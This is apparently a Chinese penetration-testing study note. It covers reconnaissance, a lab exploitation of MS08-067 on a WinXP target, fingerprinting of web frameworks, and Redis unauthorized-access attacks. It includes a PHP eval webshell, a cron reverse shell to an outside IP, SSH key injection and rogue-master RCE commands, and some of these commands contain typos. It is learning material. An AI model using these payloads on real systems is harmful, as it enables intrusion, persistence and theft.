子域名信息收集

子域名爆破(网站)

​ 方便快捷,缺点是基本都是字典,一些奇怪的域名搜不出来

oneforall

​ 能搜出来很多,缺点是速度很慢,占用资源很高,而且需要api,api获取倒是简单


IP信息收集

CDN

​ 作用:负载均衡,让用户就近访问,提高响应速度和命中率

判断CDN

​ 多地ping,如果IP显示不一致则使用了CDN,一般CDN服务昂贵,国外不会部署,可以使用国外ping来绕过CDN获取服务器真实IP

查询历史DNS记录

​ 第一次绑定IP域名的时候,管理员一般不会买CDN,可以通过历史DNS记录来判断服务器IP

https://securitytrails.com/

C段存活主机探测

Cwebscanner


端口信息收集

image-20240708152201420

Nmap

官方中文介绍

https://nmap.org/man/zh/

其他信息收集

历史漏洞信息

http://wy.zone.ci/
https://wooyun.kieran.top/#!/
https://www.exploit-db.com/
https://wiki.0-sec.org/#/md
https://www.seebug.org


小实战

流程

靶机:WinXPenSP3-腾讯云开发者社区-腾讯云 (tencent.com)

探测靶机ip地址

1
sudo arp-scan -l

探测开放端口

使用nmap
1
nmap -sV -p- 192.168.1.102

​ 查询开放了哪些可攻击端口,举例:开放了端口139,445,这是SMB协议使用的端口,那么后面我们可以尝试使用nmap扫描smb相关漏洞

尝试通过SMB 协议确定操作系统、计算机名称、域、工作组和当前时间。

1
sudo nmap --script=smb-os-discovery.nse 192.168.1.102

使用nmap扫描漏洞

1
sudo nmap --script=smb-check-vulns-*.nse 192.168.1.102

img

漏洞利用&提权

MS08-067-漏洞利用

1)首先运行metasploit,使用search ms08-067寻找可利用的漏洞点

1
2
sudo msfdb init && msfconsole
search MS08-067

img

2)使用攻击模块,使用show options查看我们需要设置的参数

1
2
3
use exploit/windows/smb/ms08_067_netapi

show options #可以看到RHOSTS必须设置

img

3)设置RHOSTS(远程IP),即靶机的ip,然后run或者exploit,成功Getshell

1
2
3
set RHOSTS 192.168.1.102
run 或者 exploit
shell

img

MS08-067-提权
添加Administrators权限用户

1
2
3
4
5
6
7
8
9
10
#添加hacker用户
net user hacker hacker /add

#添加hacker用户添加进administrators组
net localgroup administrators hacker /add

#查看用户
net user
#删除用户
net user hacker /delete #渗透结束后再删除,擦干净屁股再走

img

可以看到成功添加了hacker用户


网站指纹识别

操作系统

  • ping 判断 : TTL为128的一般是Windows。64为Linux。
  • nmap:-O参数
  • ​ Windows大小写不敏感,Linux区分大小写(这里指的是网址)

网站服务\容器类型

  • wappalyzer插件
  • whatweb.net

脚本类型

​ php、jsp、asp\aspx、Python

数据库类型

​ mysql、sqlserver、access、oracle

CMS识别(内容文章管理系统)

​ 常见CMS:dedecms(织梦)、Discuz、phpcms等

在线识别工具

http://whatweb.bugscaner.com/look/

eOnlinetools

https://github.com/iceyhexman/onlinetools

敏感文件及目录探测

目录探测

针对漏洞的信息泄露

网络Waf识别

Waf定义

  • ​ Web Application FireWall (Web应用防火墙)

Waf功能

  • 防止常见的各类网络攻击,如:SQL注入、XSS跨站、CSRF、网页后门等;
  • 防止各类自动化攻击,如:暴力破解、撞库、批量注册、自动发贴等
  • 阻止其它常见威胁,如:爬虫、0 DAY攻击、代码分析、嗅探、数据篡改、越权访问、敏感信息泄漏、应用层DDOS、远程恶意包含、盗链、越权、扫描等。

Waf识别

渗透工具

AWVS

  • ​ 网页全自动检测漏洞工具

Burp

  • ​ 监控网页流量抓包

SQLmap

  • ​ 对sql数据库进行渗透

框架

Thinphp

特征:

image-20240715162544764

历史漏洞

  • ThinkPHP3.2.3 缓存函数设计缺陷可导致Getshell
  • ThinkPHP5 SQL注入漏洞&&敏感信息泄露
  • ThinkPHP3.2.3 最新版update注入漏洞
  • ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
  • ThinkPHP3.2.X find select delete注入
  • ThinkPHP框架5.0.X sql注入漏洞分析
  • ThinkPHP3.X order_by注入漏洞
  • ThinkPHP5.X order_by注入漏洞
  • ThinkPHP5.X 远程代码执行

利用

thinkPHP代码执行批量检测工具 (github.com)

Weblogic

特征:

  • 端口:7001

  • Web界面:Error 404–Not Found

  • image-20240716094455932

历史漏洞

  • CVE-2017-10271
  • CVE-2018-2628
  • CVE-2018-2893
  • CVE-2018-2894
  • CVE-2018-3191
  • CVE-2018-3245
  • CVE-2019-2618
  • CVE-2019-2725
  • CVE-2019-2729
  • CVE-2019-2890
  • weblogic弱口令
  • weblogic ssrf
  • CVE-2020-2551
  • CVE-2020-2883
  • CVE-2020-2555

获取

  • shodan fofa 钟馗之眼 等
1
app="BEA-WebLogic-Server'"
  • google hacking

inurl:漏洞地址

intitle:weblogic

利用

Weblogic一键漏洞检测工具

Jboss

特征

image-20240717110754357

获取

  • shodan fofa 钟馗之眼 等
1
app="Jboss"

Jboss历史漏洞(访问控制不严导致的漏洞)

  • JMX Console未授权访问Getshell
  • JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
  • JMX控制台安全验证绕过漏洞(CVE-2010-0738)
  • Administration Console 弱囗令 Getshell

利用

JexBoss

Struts

特征

  • 通过网页后缀来进行判断,如.do或者.action

    image-20240717161036732

  • 判断 /struts/webconsole.html是否存在来进行判断,需要 devMode 为 true.

    image-20240717161514849

获取

  • shodan fofa 钟馗之眼 等
1
app="Struts2"

工具

Struts2全版本漏洞检测工具19.32

Fastjson

识别

  • 抓json包查看 Content-Type的值是不是application/json

漏洞复现

Fastjson漏洞复现 - Saint_Michael - 博客园 (cnblogs.com)

shiro

历史漏洞

  • Shiro-550

  • Shiro-721

Shiro组件识别

  • 抓包重放后,如果显示 rememberMe = deleteMe ,说明使用了该组件

image-20240722111458247

  • 没有就自己构造一条

image-20240722111630067

工具

fupinglee/ShiroScan: Shiro RememberMe 1.2.4 反序列化漏洞图形化检测工具(Shiro-550) (github.com)

Redis

Redis历史漏洞

  • Redis未授权访问

    因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器

  • Redis主从复制RCE

    在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言编译并加载恶意.so文件,达到代码执行的目的

Redis特征

  • Redis 默认绑定在6379端口上

Redis发现

1
nmap -v -Pn -p 6379 -sV --script="redis-info'
  • -v:显示过程
  • -Pn: no ping
  • -sV:版本探测

未授权访问(下载连接程序)

1
2
3
4
5
6
7
8
9
10
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
//解压
cd redis-6.0.3/
Make
//编译
cd src/
cp redis-cli /usr/bin
//客户端连接程序
redis-cli.exe -h [ip] -p [port]

未授权访问(写webshell)

1
2
3
4
5
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($ POST['test']);?>"
save
随后用中国蚁剑连接

未授权访问(反弹shel)

1
2
3
4
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xss "\n\n*/1 **** bash-i>&/dev/tcp/139.155.49.43/1234 0>&1\n
save

未授权访问(写公钥)

1
2
3
4
5
6
7
8
9
ssh-keygen -t rsa
默认情况下,生成后在用户的家目录下的.ssh 目录下
(echo -e "\n\n"; cat ~/.ssh/id rsa.pub; echo -e "\n\n")> /tmp/foo.txt
cat /tmp/foo.txt redis-cli -h 192.168.1.100-p 6379 -x set crackit
redis-cli -h 192.168.1.100-p 6379
config set dir /root/.ssh/
config set dbfilename "authorized keys
save
ssh root@139.9.198.30 -i ~/.ssh/id rsa

未授权访问(主从复制RCE)

https://github.com/vulhub/redis-rogue-getshell

1
2
python3 redis-masterpy-r139.9.198.30-p 6380-L120.27.61.239 -P 1234 -f
RedisModulesSDK/exp.so -c"id"

密码暴力破解

暴力破解字典

https://github.com/k8gege/PasswordDic

暴力破解常见工具

暴力破解应用场景

  • 验证码
  • 不含验证码后台
  • 各种应用程序,比如:phpmyadmin、tomcat、mysql
  • 各种协议:ftp、ssh、rdp等
  • 爆破大马

Tomcat爆破

进行密码爆破

image-20240723133557263

image-20240723133613222

Getshell

制作方法:将isp马压缩成zip文件,再将zip后缀改为war

1
cmd:jar -cvf*.war *.jsp

image-20240723133719052

Metasploit

kali-metasploit更新:

1
2
3
msfconsole -v #查看版本
apt-get update
apt-get install metasploit-framework

modules目录

1
cd /usr/share/metasploit-framework/modules
  • auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
  • exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则: 操作系统/各种应用协议分类
  • payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
  • post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
  • encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
  • evasion:躲避模块,用来生成免杀payload
  • nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90x90…)则会因为被拦截而导致攻击失效。

内网主机发现

  • db nmap:nmap扫描
  • -PA:TCP ACK PING扫描
  • -PS:TCP SYN PING扫描
  • -PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况下。因为防火墙不会禁止ARP请求。
  • hosts:当前工作区所有主机